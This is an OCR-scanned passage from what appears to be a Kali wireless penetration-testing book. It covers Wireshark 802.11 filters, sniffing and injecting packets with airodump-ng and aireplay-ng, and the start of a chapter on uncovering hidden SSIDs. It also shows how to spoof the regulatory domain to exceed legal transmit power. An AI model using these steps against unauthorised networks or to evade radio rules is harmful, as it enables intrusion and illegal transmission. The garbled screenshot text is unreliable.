

Click on the triangle in front of IEEE 802.11 Wireless LAN management frame to 
expand and view additional information. 


Look at the different header fields in the packet and correlate them with the WLAN frame 
types and sub-types you have learned earlier. 


What just happened? 


We just sniffed out first set of packets off the air! We launched Wireshark, which used 
the monitor mode interface mono we created previously. You should notice, by looking at 
Wireshark's footer region, the speed at which the packets are being captured and also the 


number of packets captured till now. 
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Wireshark traces can be a bit daunting at times; even for a reasonably populated 

wireless network, you could end up sniffing a few thousand packets. Hence, it is important 
to be able to drill down to those packets that interest us. This can be accomplished using 
filters in Wireshark. Explore how you can use these filters to identify unique wireless devices 
in the traces— both access points and wireless clients. 


If you are unable to do this, don't worry as this is the next thing we will learn. 


Time for action — viewing management, control, and data frames 


Now we will learn how to apply filters in Wireshark to look at Management, Control and 
Data Frames. 





Please follow the below instructions step by step: 


1. Toview all the Management frames in the packets being captured, enter the filter 
wlan.fc.type == 0 into the filter window and click Apply. You can stop the 
packet capture if you want to prevent the packets from scrolling down too fast. 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
ei) a » Q2¢5997F3 BG 


Filter: 'wlan.fc.type== | Expression... Clear Save 








No. Time Source Destination Protocol Length Info 


1453 147.90792900C D-Link_62:6d:08 Broadcast 802.11 142 — 
1454 148.00983500¢ D-Link_62:6d:08 Broadcast 802.11 142 Beaco 
1455 148.11230000¢ D-Link 62:6d:08 Broadcast 802.11 142 Beaco |” 


it > 


> Frame 1452: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0 
> Radiotap Header vO, Length 18 
> IEEE 802.11 Beacon frame, Flags: 
v IEEE 802.11 wireless LAN management frame 

> Fixed parameters (12 bytes) 

Vv Tagged parameters (88 bytes) 

Vv Tag: SSID parameter set: Upstairs 
Tag Number: SSID parameter set (0) 


= => 
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2. Toview Control Frames, modify the filter expression to read wlan.fc.type == 1. 


Capturing from monO [Wireshark 1.8.5 ] 


Capture Analyze Statistics Telephony Tools Internals Help 


File Edit View Ga 
Qi a = 9¢59F2% BG 


= . 
| we | Expression... Clear Apr Save 


Filter: |wlan.fc.type==1 


Na. Time Source 


13 1.026481000 
13 1.026493000 
1? 1.029211000 





if Frame 13: 28 bytes on wire (224 bits), 28 bytes captured (224 bits) on interface O 
> Radiotap Header vO, Length 18 
> IEEE 802.11 Acknowledgement, Flags: 


Destination Protocol Length Info E 


Private 64:81:40 (RA) 802.11 28 Ackno 
D-Link 62:6d:08 (RA) 802.11 28 Ackno'| 
Private 64:81:40 (RA) 802.11 28 Ackno’'| 
D-Link 62:6d:08 (RA) 802.11 ~——28 Acknolv. 


19 1.029221000 A 


2D) 





























O000 OO OO 12 00 Ze 48 GO OO OO O2 Gc O9 ad OO a8 Ol 
0010 00 00 d4 00 00 GO OO bb 3a 64 B81 40 


3. To view data frames, modify the filter expression to wlan.fc.type == 2. 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


Ej a Oo & et ® 2¢%978 BB 


seal 
| - _ Expression... Clear Save 





Filter: wlan.fc.type== ) 


No, Time Source 
199 13.563688000 HonHaiPr /O:bdicb 
487 43.775537000 Private 64:81:40 
535 48.571158000 D-L1 nk 62: 6d:08 
239 48, 770332000 Private 64:81:40 





Destination Protocol Length Info 
Netgear 2a: /bicod BO2. 11 42 Null 
D-Link_62:6d:08 a02.11 44 Q05 N 
Private 64:81:40 =) 0 Fae ial 118 Qo5 D 
D-Link_62:6d:08 802.11 44 Qos N\~ 











[>] 


















































(> Frame 535: 118 bytes on wire (944 bits), 118 bytes captured (944 bits) on interface O 
> Radiotap Header vO, Length 18 

> TEEE SEZ IT Ges Bats, Flags: -@...-h. 

> Data (66 bytes) 
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4, To additionally select a sub-type, use the wlan.fc.subtype filter. 
For example, to view all the Beacon frames among all Management frames, 
use the following filter: 


(wlan.fc.type == 0) && (wlan.fc.subtype == 8). 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


@! al @® 2¢59 728 BG 


Filter: | (wlan.fc.type==0) && (wlan.fc.subtype==8) | . | Expression... Clear Save 


No. Time Source Destination Protocol Length Info 


533 48.550416000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco 
S37 48.652957000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco| 
538 48.755640000 D-Link _62:6d:08 Broadcast 802.11 14? Beaca | 
541 48.857660000 D-Link 62:6d:08 Broadcast 802.11 142 Beaco *) 
| Na DP) 
‘> Frame 533: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface O 
> Radiotap Header vO, Length 18 
> IEEE 802.11 Beacon frame, Flags: 
 ¥ IEEE 802.11 wireless LAN management frame 
> Fixed parameters (12 bytes) 
¥ Tagged parameters (88 bytes) 
Vv Tag: SSID parameter set: Upstairs 
Tag ames aaa parameter set (0) 


























5. Alternately, you can right-click on any of the header fields in the middle window and 
then select Apply as Filter | Selected to add it as a filter. 


[24] 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Goa 


Time Source 


537 48.652957000 D-Link_ 
538 48.755640000 D-Link_ 
539 48.770532000 Private 
240 48, 770992000 


> Frame 538: 142 bytes on wir 


> Radiotap Header vO, Length 
> TEEE 807.11 Beacon frame, F 
vw TEEE 802.11 wireless LAN ma 
> Fixed parameters (12 byte 

¥ Tagged parameters (88 byt 

V Tag: SSID parameter se 

Tag Number: SSID par 


Capture Analyze Statistics 


Mark Packet (toggle) 

Ignore Packet (toggle) 

Set Time Reference (toggle) 
Time Shift... 

Edit or Add Packet Comment... 


Prepare a Filter 
Conversation Filter 


Colorize Conversation 





Telephony Tools 
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Internals Help 
7 (EG 


Ssion... 


Protocol Length Info 
g02.11 142 Beaco 


807.11 142 Beaco 


8027.11 44 QoS N 

ao 28 Ackno'l™) 
D) 

Not Selected face @ |[* 

. and Selected 

. or Selected 

. and not Selected 


. of not Selected 





6. This will automatically add the correct filter expression for you in the Filter field. 


What just happened? 


We just learned how to filter packets in Wireshark using various filter expressions. 
This helps us monitor selected packets from devices we are interested in, instead of 
trying to analyze all the packets in the air. 


Also, we can see that the packet headers of Management, Control and Data frames are in 
plain text and are not encrypted. Anyone who can sniff the packets can read these headers. 
It is also important to note that it is also possible for a hacker to modify any of these packets 
and re-transmit them. As there is no integrity or replay attack mitigation in the protocol, this 
is very easy to do. We will look at some of these attacks in later chapters. 
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You can consult Wireshark's manual to know more about available filter expressions and how 
to use them. Try playing around with various filter combinations till you are confident that 
you can drill down to any level of detail, even in a very large packet trace. 


In the next exercise, we will look at how to sniff data packets transferred between our access 
point and wireless client. 


Time for action — sniffing data packets for our network 





In this exercise, we will learn how to sniff data packets for a given wireless network. 
For the sake of simplicity, we will look at packets without any encryption. 


Follow these instructions to get started: 


1. Switch on the access point we named Wireless Lab. Let it remain configured 
to use no encryption. 


2. Wewill first need to find the channel on which the Wireless Lab access point is 
running. To do this, open a terminal and run airodump-ng --bssid <mac> 
mond where <mac>, which is the MAC address of our access point. Let the program 
run, and shortly you should see your access point shown on the screen along with 
the channel it is running on. 


3. Wecansee from the preceding screenshot that our access point Wireless Lab is 
running on Channel 11. Note that this may be different for your access point. 


In order to sniff data packets going to and fro from this access point, we need to 
lock our wireless card on the same channel, that is channel 11. To do this, run 
the iwconfig mond channel 11 command and then run iwconfig mono to 
verify it. You should see the Frequency: 2.462 GHz value in the output. This 
corresponds to Channel 11. 


root@kali: ~ 


File Edit View Search Terminal Help 
-~# iwconfig mon@ channel 11 
> =i 
= ff 


-~# iwconTfig mong 

mont TEEE 862.11lbgn Mode:Monitor Frequency:2.462 GHz %Tx-Power=20 dBm 
Retry Long Limit:/ RTS thr:off Fragment thr:off 
Power Management :on 


: ~# 
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4. Now fire up Wireshark and start sniffing on the monO interface. After Wireshark 
has started sniffing the packets, apply a filter for the bssid of our access point as 
shown below using wlan.bssid == <macs> inthe filter area. Use the appropriate 
MAC address for your access point. 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
Si e a > | ¢ eS aE 


Filter: 'wlan.bssi ==9C:D3:6D:2A:7B:CO | © Expression... Clear Save 





No. Time Source Destination Protocol Length Info 
BO2.. i= hol =|-t- |e 


. 1049/6000 Netaear 2a: /b:cl =jmer-le 


16 3.129059000 Netgear_2a:7b:cO EdimaxTe_8f:34:d5 802.11 331 Probe Re 


| 

v Frame 14: 285 bytes on wire (2280 bits), 285 bytes captured (2280 bits) on interface 0 
Interface id: 0 
WTAP_ENCAP: 23 
Arrival Time: Aug 25, 2014 20:39:45.512515000 BST 


0000 00 00 12 OO 2e 48 00 00 00 O2 Se O9 aO OO bO Ol 
0010 00 00 80 OO OO OO ff ff ff ff ff ff Sc d3 Gd 2a 
0020 7b cO Sc d3 Gd 2a 7b cO 20 7b 98 c2 ed b2 53 0O 





5. In order to see the data packets for our access point, add the following to the filter 
(wlan.bssid == <mac>) && (wlan.fc.type subtype == 0x20). Open 
your browser on the client laptop and type in the management interface the URL of 
the access point. In my case, as we have seen in Chapter 1, Wireless Lab Setup, it is 
http://192.168.0.1. This will generate data packets that Wireshark will capture. 


6. Packet sniffing allows us to analyze unencrypted data packets very easily. This is 
the reason why we need to use encryption in wireless. 


What just happened? 


We have just sniffed data packets over the air with Wireshark using various filters. As our 
access point is not using any encryption, we are able to see all the data in plain text. This is 
a major security issue as anyone within RF range of the access point can see all the packets 
if he uses a sniffer such as Wireshark. 
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Use Wireshark to analyze the data packets further. You would notice that a DHCP request 

is made by the client and, if a DHCP server is available, it responds with an address. Then 
you would find ARP packets and other protocol packets on the air. This is a nice and simple 
way to do passive host discovery on the wireless network. It is important to be able to see a 
packet trace and reconstruct how applications on the wireless host are communicating with 
the rest of the network. One of the interesting features Wireshark provides is the ability to 
follow a stream. This allows you to view multiple packets together, that are part of a TCP 
exchange, in the same connection. 


Also, try logging into www. gmail.com or any other popular website and analyze the data 
traffic generated. 


We will now see a demonstration of how to inject packets into a wireless network. 


Time for action — packet injection 


We will be using the aireplay-ng tool, which is available in Kali, for this exercise. 





Follow the instructions below carefully: 


1. Inorder to do an injection test, first start Wireshark and the filter expression 
(wlan.bssid == <mac>) && !(wlan.fc.type subtype == 0x08). 
This will ensure that we only see non-beacon packets for our lab network. 


2. Nowrun the following command aireplay-ng -9 -e Wireless Lab -a <mac> 
mono ona terminal. 


3. Goback to Wireshark and you should see a lot of packets on the screen now. 
Some of these packets have been sent by aireplay-ng, which we launched, and 
others are from the access point Wireless Lab in response to the injected packets. 


What just happened? 


We just successfully injected packets into our test lab network using aireplay-ng. It is 
important to note that our card injected these arbitrary packets into the network without 
being actually connected to the access point Wireless Lab. 
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We will look at packet injection in greater detail in later chapters; however, feel free to 
explore other options of the Aireplay-ng tool to inject packets. You can verify whether 
injection succeeded by using Wireshark to monitor the air. 


Important note on WLAN sniffing and injection 


WLANs typically operate within three different frequency ranges — : 2.4 GHz, 3.6 GHz and 
4.9/5.0 GHz. Not all Wi-Fi cards support all these ranges and associated bands. For instance,, 
an Alfa card only supports IEEE 802.11b/g. This would mean that this card cannot operate in 
802.11a/n. The key here is to sniff or inject packets in a particular band; your Wi-Fi card will 
need to support it. 


Another interesting aspect of Wi-Fi is that, in each of these bands, there are multiple channels. 
It is important to note that your Wi-Fi card can only be on one channel at any given moment. 
It is not possible to tune into multiple channels at the same time. The best analogy | can give 
you is your car radio. You can tune it to only one of the available channels at any given time. If 
you want to hear to something else, you will have to change the channel. The same principle 
applies to WLAN Sniffing. This brings us to an important conclusion—we cannot sniff all 
channels at the same time; we will need to select the channel that is of interest to us. What 
this means is that, if our access point of interest is on channel 1, we will need to set our card 
on channel 1. 


Though we have addressed WLAN sniffing in the above paragraphs, the same applies to 
injection as well. To inject packets on a specific channel, we will need to put the card radio 
on that channel. 


Let's now do some exercises on setting our card to specific channels, channel hopping, 
setting regulatory domains, power levels etc. 


Time for action — experimenting with your adapter 


Follow the instructions below carefully: 





1. Enter the iwconfig wland command to check the capabilities of your card. 
As you can see in the figure below, my adapter can operate in the b, g, and n bands. 


ie ff iwc an fig moar G) 
heal! TEEE 802.11bgn| Steome@eeree §=Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm 
Retry long limit:7 RTS thr:off Fragment thr:off 


Power Management :on 
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To set the card on a particular channel, we use the iwconfig monO channel X 
commands. 


root@kali: ~ 


File Edit View Search Terminal Help 
-~# iwconfig mon@ channel 11 
: =f 
i~# iwconfig mond 
mong TEEE 8@2.11bgn Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm 


Retry Long Limit:? RTS thr:off Fragment thr:off 
Power Management :on 


: =H 
: ~# 
=i 





The iwconfig series of commands does not have a channel hopping mode. 

One could write a simple script over it to make it do so. An easier way is to use 
Airodump-NG with options to either hop channels arbitrarily, use only a subset, 

or use only selected bands. All these options are illustrated in the screenshot below 
when we run airodump-ng --help: 


root@kali: ~ 


File Edit View Search Terminal Help 
Options: 

--ivs : Save only captured IVs 

--gpsd : Use GPSd 

--write <prefix> : Dump file prefix 

-W : Same as --write 

ied 1-1-1010] 81) : Record all beacons in dump file 

--update <secs> : Display update delay in seconds 

- -showack : Prints ack/cts/rts statistics 

-h : Hides Known stations for --showack 

-f <msecs> : Time in ms between hopping channels 

--berlin <secs> : Time before removing the AP/client 
from the screen when no more packets 
are received (Default: 120 seconds) 

-r <file> : Read packets from that file 

>, <msecs> : Active Scanning Simulation 

--manufacturer : Display manufacturer from IEEE OUI List 

--output - format 

<formats> : Output) foarmat..Possible values: 

pcap, ivs, csv, gps, kismet, netxml 

--ignore-negative-one : Removes the message that says 
fixed channel <interface>: -1l 


Filter options: 
--encrypt <suite> : Filter APs by cipher suite 
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What just happened? 


We understood that both wireless sniffing and packet injection depend on the hardware 
support available. This means that we can only operate on bands and channels allowed by 
our card. Also, the wireless card radio can only be on one channel at a time. This further 
means that we can only sniff or inject in one channel at a time. 


If you need to simultaneously sniff on multiple channels, you will require multiple physical 
Wi-Fi cards. If you can procure additional cards, then try to sniff on multiple channels 
simultaneously. 


The role of regulatory domains in wireless 


The complexities of Wi-Fi don't end here. Every country has its own unlicensed spectrum 
allocation policy. This specifically dictates allowed power levels and allowed users for the 
spectrum. In the US, for example, the FCC decides this and, if you use WLANs in the US, you 
have to abide by these regulations. In some countries, not doing this is a punishable offense. 


Now let's look at how we can find the default regulatory settings and then how to change 
them if required. 


Time for action — experimenting with your adapter 


Follow these instructions carefully: 





1. Reboot your computer and do not connect your adapter to it yet. 


2. Once logged in, monitor the kernel messages using the tail command: 


root@kali: ~ 


File Edit View Search Terminal Help 


-~# tail -f -n 0 /var/Log/messages 





[31] 


WLAN and its Inherent Insecurities 


Insert the adapter, and you should see something that resembles the following 
screenshot. This shows the default regulatory settings applied to your card: 


root@kali: ~ 


File Edit View Search Terminal Help 


i~# tail -f -n 0 /var/log/messages 
Aug 25 19:58:17 kali kernel: [ 2610./736263] usb : new high-speed USB device n 
umber 3 using ehci_hcd 
Aug 25 19:58:17 kali kernel: [ 2610.894/72/7] usb : New USB device found, idVen 
idProduct=/7/711 
25 19:58:17 kali kernel: [ 2610.894734] usb : New USB device strings: Mfr 
Product=2, SerialNumber=3 
°58:17 kali kernel: 2610.894738] usb - Product: 802.11 n WLAN 
°58:17 kali kernel: 
°58:18 kali kerneL: 
using ehci_hcd 
Aug 25 19:58:18 kali mtp-probe: checking bus 1, device 3: "/sys/devices/pci@000: 
00/0000 :00:11.0/0000:02:03.0/usb1/1-1" 
Aug 25 19:58:18 kali mtp-probe: bus: 1, device: 3 was not an MIP device 
Aug 25 19:58:18 kali kernel: [ 2611.868427] rt280Qusb 1-1:1.0: firmware: agent 1 
oaded rt28/0.bin into memory 
Aug 25 19:58:21 kali kernel: [ 2614.622627] ZIPv6;, ADDRCONF(NETDEV_UP): wlanl: Li 
nk is not ready 


2610.894744] usb : SerialNumber: 1.0 
2611.180017] usb : reset high-speed USB device 


[ 

°58:17 kali kernel: [ 2610.894741] usb : Manufacturer: Ralink 
[ 
[ 





3. Let's assume that you are based in the US. To change your regulatory domain to 
the US, we issue the command iw reg set US inanew terminal: 


root@kali: ~ 


File Edit View Search Terminal Help 
-~# iw reg set US 





If the command is successful, we get an output such as the one in the following 
screenshot in the terminal where we monitoring /var/log/messages: 
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root@kali: ~ 


File Edit View Search Terminal Tabs Help 
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root@@kali: ~ root@kali: ~ 


root@kali:~# tail -f -n 0 /var/log/messages 


25 20:00:37 kali kernel: [ 2/750.341258] cfg80211: Calling CRDA for country: 


25 20:00:37 Kali kernel: [ 2750.350862] cfg80211: Regulatory domain changed 
country: US 
25 20:00:37 kali kernel: [ 2750.35086/7] cfg8#0211: (start freq - end freq 
bandwidth), (max_antenna gain, max_eirp) 
Aug 25 20:00:37 kali kernel: [ 2/750.3508/71] cfg80211: (2407008 KHz 


Hz @ 46000 KHz), (300 mBi, 27/00 mBm) 
Aug 25 20:00:3/ kali kernel: [ 2/750.350916] cfg80211: 
Hz @ 40000 KHz), (300 mBi, 1700 mBm) 
Aug 25 20:00:37 kali kernel: [ 2750.350920] cfg80211: 
Hz @ 40000 KHz), (300 mBi, 2000 mBm) 


Aug 25 20:00:37 kali kernel: [ 2/750.350923] cfg80211: (5490008 KHz 


Hz @ 40000 KHz), (300 mBi, 2000) mBm) 


Aug 25 20:00:37 kali kernel: [ @2¥750.850926)] cfg80211; (5650000 KHz 


Hz @ 4000@ KHz), (300 mBi, 2000 mBm) 
Aug 25 20:00:37 kali kernel: [ 2750.350929] cfg80211: 
Hz @ 4000@ KHz), (300 mBi, 3000 mBm) 





- 2472000 


4. Nowtry changing the card to channel 11; it will work. But, when you try changing 
it to channel 12, you get an error. This is because channel 12, cannot be used in 


the US. 


root@kali: ~ 
File Edit View Search Terminal Tabs Help 


 root@kali: ~ \ root@kali: ~ 

root@kali:~# iwconfig wlanl channel 11 

root@kali:~# 

root@kali:~# 

root@kali:~# iwconfig wlanl 

wlanl IEEE 802.11lbgn ESSID:off/any 
Mode:Managed Frequency:2.462 GHz Access Point: 
Tx-Power=2/7 dBm 


Not -Associated 


Retry Long Limit:/7 RTS thr:off Fragment thr:off 


Encryption key:off 
Power Management :on 


root@kali:~# iwconfig wlanl channel 12 
Error for wireless request "Set Frequency" (8B04) 
SET failed on device wlanl ; Invalid argument. 
root@kali:~# iwconfig wlanl 
wlanl IEEE 802.11lbgn ESSID;off/any 
Mode:Managed Frequency:2.462 GHz Access Point: 
Tx-Power=27 dBm 


Not-Associated 


Retry Long Limit:/7 RTS thr:off Fragment thr:off 


Encryption key:off 
Power Management :on 


root@kali:~# fj 
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5. Thesame applies for power levels. The US only allows a maximum of 27 dBm 
(500 milliwatts); thus even though my adapter has an advertised power of 1 Watt 
(30 dBm), we cannot set the card to the maximum transmit power: 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 


i 


Zi 


-~# iwconfig wlanl txpower 


: Ht 
1~# 
-~# iwconfig wlanl txpower 30 
Error for wireless request "Set Tx Power" (8B26) 
SET oe on device wlanl ; Invalid argument. 
1 =H 





6. However, if we were in Bolivia, then we could transmit at a power of 1 Watt as this 
is allowed there. As we can see, once we set the regulatory domain to Bolivia—iw 
reg set BO—wecan change the card power to 30DMB or 1 Watt. We can also use 
channel 12 in Bolivia, which was disallowed in the US: 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kalt: ~ root@kali: ~ 
i~# iw reg set BO 
-~# iwconfig wlanl txpower 30 
-~# iwconfig wlanl channel 12 
-~# iwconfig wlanl 


TEEE 8@2.11bgn ESSID:off/any 

Mode:Managed Frequency:2.46/ GHz Access Point: Not-Associated 
Tx-Power=30 dBm 

Retry klong Limit:? RIS thr:off Fragment thr:off 

Encryption key:off 

Power Management ion 


aff 
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What just happened? 


Every country has its own regulations for the use of the unlicensed wireless band. When 
we set our regulatory domain to a specific country, our card will obey the allowed channels 
and power levels specified. However, it is easy to change the regulatory domain of the card 
and force it to work on disallowed channels and to transmit at a power level that is greater 
than allowed. 





Look at the various parameters you can set such as channel, power, regulatory domains etc. 
using the iw series of commands on Kali. This should give you a firm understanding of how to 
configure your card when you are in various countries and require to change your card settings. 


Pop quiz— WLAN packet sniifing and injection 
Q1. Which frame types are responsible for authentication in WLANs? 


1. Control 

2. Management 
3. Data 

4. Qos 


Q2. What is the name of the second monitor mode interface that can be created on wlanO 
using airmon-ng? 


1. Monod 
2. Moni 
3. 1Mon 
4. Monb 


Q3. What is the filter expression to view all non-beacon frames in Wireshark? 


!(wlan.fc.type_subtype == 0x08) 
wlan.fc.type_subtype == 0x08 
(no beacon) 


Wlan.fc.type == 0x08 


po gee, ee Jee 
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Summary 


In this chapter, we have made some key observations about WLAN protocols. 


Management, Control and Data frames are unencrypted and thus can be easily read by 
someone who is monitoring the airspace. It is important to note here that the data packet 
payload can be protected using encryption to keep it confidential. We will talk about this 
in the next chapter. 


We can sniff the entire airspace in our vicinity by putting our card into monitor mode. 


As there is no integrity protection in Management and Control frames, it is very easy to inject 
these packets by modifying them or replaying them as-is using tools such as aireplay-ng. 


Unencrypted data packets can also be modified and replayed back to the network. If the 
packet is encrypted, we can still replay the packet as-is, as WLAN by design does not have 
packet replay protection. 


In the next chapter, we will look at different authentication mechanisms that are used in 
WLANs such as MAC filtering and shared Authentication etc. and understand the various 
security flaws in them through live demonstrations. 








Bypassing WLAN Authentication 


"A false sense of security is worse than being unsure." 
Anonymous 
A false sense of security is worse than being insecure, as you may not be 
prepared to face the eventuality of being hacked. 


WLANs can have weak authentication schemas that can be easily broken and 
bypassed. In this chapter, we will take a look at the various basic authentication 
schemas used in WLANs and learn how to beat them. 





In this chapter, we will take a look at the following topics: 


@ Uncovering hidden SSIDs 

@ Beating MAC filters 

@ Bypassing Open Authentication 

@ Bypassing Shared Key Authentication 
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In the default configuration mode, all access points send out their SSIDs in Beacon frames. 
This allows clients in the vicinity to discover them easily. Hidden SSIDs is a configuration 
where the access point does not broadcast its SSID in Beacon frames. Thus, only clients that 
know the SSID of the access point can connect to it. 


Unfortunately, this measure does not provide robust security, but most network 
administrators think it does. Hidden SSIDs should not be considered a security measure by 
any stretch of the imagination. We will now take a look at how to uncover hidden SSIDs. 


Time for action — uncovering hidden SSIDs 


Perform the following instructions to get started: 





1. Using Wireshark, if we monitor Beacon frames in the Wireless Lab network, 
we are able to see the SSID in plain text. You should see Beacon frames, as shown 
in the following screenshot: 


mono: Capturing - Wireshark eee 


ile Edit View Go Capture Analyze Statistics Help 


Seaete waxezeacesevwFtL OS QAQaQHVMBe SB 
| ¢ Expression && Clear off Apply 





















IEEE 80 
oadcast IEEE 80 SN=2400, = 
Broadcast IEEE 802 é SN=2401, FN=0, F 
adcast IEEE 802 Bez SN=2402, FN=¢ F 
3roadcast IEEE 802 SN=2403, FN=0, Fl 
adcast IEEE 802 SN=2404, FN=0, Fl 
adcast IEEE 802 SN=2405 FN=¢ F 
3roadcast IEEE 802 aco SN=2406, FN=¢ Fl 
adcast IEEE 802 Beacon f N=2407, FN=0, Fl 
adcast IEEE 802 co N=2408, FN=C r 
3roadcast IEEE 802 N=2410, FN=0, Fl 
adcast IEEE 802 Beacon N=2411, FN=0, Fl 
adcast IEEE 802 Beacon N=241 FN= r 
> Frame 1 (251 bytes on wire, 251 bytes captured) 
> Radiotap Header vO, Length 32 








> TEEE 802.11 Beacon frame, Flags: ........ Cc 

































~ IEEE 802.11 wireless LAN management frame 
b Fixed parameters (12 bytes) 
~ Tagged parameters (179 bytes) 
» SSID parameter set: “Wireless Lab" 
Tag Number: 0 ( 
Tag length: 12 
Tag interpretation: Wireless Lab 
yy Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B) 
Tag Number: 1 (Supported Rates) 
Tag Length: 4 
Tag interpretation: Supported rates: 1.0(B8) 2.0(B) 5.5(B) 11.0(B) [Mbit/sec] 


(SSID parameter set) 


»~ DS Parameter set: Current Channel: 11 
HOB 00 0 2 3] 2f 48 [O10] Of 8d i 77 1 ) (010) | 
001 10 02 Ge 09 a0 OO fb 01 OO 00 OO OO OO OO OO OO ........ cee eeee. 
C020 80 00 OO OO ff ff ff ff Ff Ff OO 21 91 d2 Be 25 _........ ...!...% 
AA30 AA ?1 91 d? Be 25 fO 95 BO el ab 84 03 OO OO OO | 
0: <I ptur prog > Fi., TP cket Displ 4; 274 Marked: 0 [Profile Default 
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2. Configure your access point to set the Wireless Lab network as a hidden SSID. 
The configuration option to do this may differ across access points. In my case, | 
need to check the Invisible option in the Visibility Status option, 
as shown in the following screenshot: 





TP-LINK 


Status 

Quick Setup Wireless Security 

WPS 

Network a P 
* Disable Security 

Wireless 


- Wireless Settings 
WPA/WPA2 - Personal(Recommended) 


- Wireless MAC Filtering Version: WPA-PSK 





- Wireless Advanced Encryption: AES 





_ Wireless Statistics Wireless Password: abcdefgh 





DHCP (You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
Forwarding Group Key Update Period: 0 ! Seconds 


Security (Keep it default if you are not sure, minimum is 30, 0 means no update) 


Parental Control WPA/WPA2 - Enterprise 
Access Control 





Version: Automatic 








Advanced Routing Encryption: ‘Automatic 


Bandwidth Control 
andwi ontro Radius Server IP: | 
IP & MAC Binding 





Radius Port: 1812 | (1-65535, 0 stands for default port 1812) 


Dynamic DNS 





Radius Password: 
System Tools 





Group Key Update Period: | (in second, minimum is 30, 0 means no update) 





WEP 
Type: Automatic v 





WEP Key Format: Hexadecimal ¥) 
Key Selected WEP Key Key Type 
Key 1: @ ABCDEFABCDEFABCDEFABCDEF12 || 128bit ¥ 
Key 2: Disabled ¥_ 
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3. Nowif you take a look at the Wireshark trace, you will find that the SSID 
Wireless Lab has disappeared from the Beacon frames. This is what hidden 
SSIDs are all about: 


mend: Capturing - Wireshark 


ow & oO a LG tI T+¢eae0F LSS aaah sewMsaez & 
~& | & fxpression... 


a 
: Broadcast on frame, § 3 = 1D=Broadcas 
"279871 0 ink a2: 125 oro EEE 802 a frame, SN=1103, army = ere 100, SSID= rondeast 
. 378379 D- Link d2: 25 Broadcast IEEE 802 Beacon frame, SN=1104, FNed, ags= BI=100, SSID=Broadcast 
483206 0-Link_d2:6e:25 Broadcast IEEE 862 Beacon frame, SN=1105, FN=0, BI=100, $5]1D=Broadcast 
§81454 O-Link_d2:B8e:25 Broadcast IEEE 862 Beacon frame, SN=1106, FN=0, ¢ BIl=1900, SSI1D=Broadcast 
686168 O0-Link_d2:6e:25 Broadcast IEEE 802 Beacon frame, SNe#1107, FNed, Bl=100, SSID=Broadcast 
. 783321 O0-Link_d2:8e:25 Broadcast IEEE 802 Beacon frame, SN=-1108, FN-0, = BI=1900, SSID=Broadcast 
.687379 O-Link_d2:6e:25 Broadcast IEEE 862 Beacon frame, SN=1109, FN=0, BI=100, SS]D=Broadcast 
994475 O-Link_d2:8e:25 Broadcast IEEE 862 Beacon frame, SN=1110, FN=0, BIl=100, SSID=Broadcast 
093457 O0-Link_d2:6e:25 Broadcast IEEE 802 Beacon frame, SNe1111, FNed, S Bl=100, SSID=Broadcast 
. 194889 0-Link_d2:6e:25 Broadcast IEEE 802 Beacon frame, SN=1112, FN-0, S= BI=1900, SSID-Broadcast 
- 296837 0-Link_d2:8e:25 Broadcast IEEE 862 Beacon frame, SN=1113, FN=0, BI=100, SSID=Broadcast 
413898 O-Link_d2:8e:25 Broadcast IEEE 802 Beacon frame, SN=1114, FN=90, 5 Bl=100, SSID=Broadcest 


Pe On W OO ORS 
ee Oe 
ee 232 25323 ep 


(239 bytes on wire, 239 bytes captured) 
+ Radiotap Header vO, Length 32 
+ IEEE 802.11 Beacon frame, Flags: ........ C 
- TEEE 802.11 wireless LAN management frame 
> Fixed paraneters (12 bytes) 
~ Tagged parameters (167 bytes) 
~ SSID parameter set: Broadcast 
Tag Number: 0 (SSID parameter set) 
Tag length: 6 
Tag bisi@. rpre tation 
* Supported Rates: 1.0(8) 2.6(B) 5.5(8) 11.0(8) 
Tag Number: 1 (Supported Rates) 
Tag length: 4 
Tag interpretation: Supported rates: 1.0(B) 2.90(8) 5.5({B) 11.0(B) [Mbit/sec) 
a OS Paraneter set: Current Cnannel: 11 


ole.alo) 58 68 20 80 Hy rT ot) 08 24 4b 42 38 01 068 08 OO 
0810 10 82 Ge 69 ad OO f7 O01 80 BO GO OO OB OB OB BO 
O620 68 68 60 60 ff ff ff ff ff Ff GO 21 91 d? Ge 25 
230 6A 21 Ol da? Re 25 | 44 FO AR) 3b 46 03 OR AA BA 
Interpretateon of tag (whan mgt.tag.... 7 Packets: 1844 Displayed: 560 Marked: 0 
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In order to bypass Beacon frames, we will first use the passive technique of waiting 


for a legitimate client to connect the access point. This will generate probe request 
and probe response packets that will contain the SSID of the network, thus revealing 


its presence: 


mond: Caphuning - Wireshark 


Edit Wew Go Capture Analyte Statistics Help 


% #38 FILES 


He 
BekAee Bax te 


fi] fiker:fwlan.addr == 60:fbidaidSredr0 









54085 2939, 5439951 56; fe:42:d5:04:91 Broadcast IEEE 
Sas 344906 D-Link df:Be:25 6B: fo:42:05:e4-01 LEEE 
54093 23535 .6021594 66: fb:42:d5:e4:01 D-Link _d2:8e:25 IEEE 
5adG95 2358. 604889 0-Link d2:8e:25 66: fo:42:05:44:01 IEEE 
54098 23355 .652904 66: fb:42:d5:e4:01 D-Link_d2:8e:25 IEEE 
54lGS 2355 .655856 O-Link d2:8e:25 6B: fo:42:05:64:01] IEEE 
54107 2335 .9196656 60: fo:42:d5:e4:01 D-Link d2:36:25 TEBE 
54109 2339 .921655 O-Link d2:84-:25 6B; fo:42:05:64-:01] TEEE 


